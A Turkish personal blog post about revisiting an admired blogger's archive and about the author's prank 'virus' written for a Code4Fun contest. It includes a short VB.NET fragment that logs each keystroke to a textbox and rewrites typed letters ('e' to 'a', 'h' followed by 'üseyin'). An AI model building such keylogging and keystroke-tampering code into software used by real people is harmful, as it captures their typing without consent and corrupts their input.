2008’den beri takip ettiğim Oğuzhan Yılmaz‘ın eski yazılarına bir bakayım dedim. Unuttuğum bir kaç şeyi tekrar hatırlamakla kalmayıp yeni bir şeyler denemek için heveslenmeme sebep oldu. Nasıl olsa tatildeyim diye adamın tüm yazılarını okudum ya, helal olsun bana.
O sitede aralık ayında bir iş ilanı yayınlanmıştı. Başvuru linkini bulmak için yarım günümü harcamıştım. Eski yazıları gezerken “Düzenli İfadeler Kaynak Sitesi” diye bir site tanıtımı gördüm. Meğer saklanmış linki buradan hazırlamış. Hoş ben de burayı kullanmıştım çözümü bulmak için ama bir faydası olmadı.
Virüs
İkincisi ise Code4Fun. Sırf benim de bir katkım olsun diye bir virüs yazayım dedim. Basit bir şeyle başladım. Önce klavyeyi kontrol eden bir class buldum. İnternette doğru kelimeler ile arama yapınca sizde bulabilirsiniz. Bu kısmı çalıştırınca gerisi çorap söküğü gibi geldi. Virüsümün yaptığı şey hem keylogger gibi çalışmak hem de bazı harflere bastığınızda harfleri değiştirmek. Mesela “e” harfine basarsanız onu silip yerine “a” harfini yazıyor. “h” harfi yazarsanız ise sonuna “üseyin” ekliyor. Sırf eğlence olsun diye yazdım ama bir problemi daha çözemedim. Çalıştırmak için Net Framework 3,5 ve yönetici hakları gerekiyor. Bu nedenle zararsız bir virüs oldu.
If Working = True Then Exit Sub
TextBox1.Text = TextBox1.Text & Key.ToString
Working = True
Try
'H harfine basinca birkac harf daha gonderiyor
If Key = Keys.H Then
My.Computer.Keyboard.SendKeys("üseyin")
'e harfine basinca once siliyor sonra a harfini gonderiyor
ElseIf Key = Keys.E Then
My.Computer.Keyboard.SendKeys("{BACKSPACE}")
My.Computer.Keyboard.SendKeys("A")
End If
Catch ex As Exception
End Try
Working = False
